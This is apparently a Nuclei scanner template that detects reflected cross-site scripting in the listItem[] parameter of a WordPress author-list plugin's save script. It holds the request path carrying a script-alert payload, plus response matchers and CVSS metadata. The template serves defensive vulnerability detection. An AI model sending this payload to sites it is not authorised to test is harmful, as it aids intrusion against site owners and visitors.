id: knr-widget-xss

info:
  name: KNR Author List Widget - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    KNR Author List Widget suffers from Cross-site Scripting (XSS) in the listItem[] parameter.
  reference:
    - https://wordpress.org/plugins/knr-author-list-widget/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
  tags: xss,knr-author-list-widget,wordpress,wp,wp-plugin,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'item: <script>alert(document.domain)</script>'
          - 'Saved on'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f44368dc9c0cc1b0799e6ca23ab4961c42d1dcf3f72e453829d4a68347d7844402201cd321c695419da569a1646f5e3f20acab707cd8829cab1c291e390f4cd6ab60:922c64590222798bb761d5b6d8e72950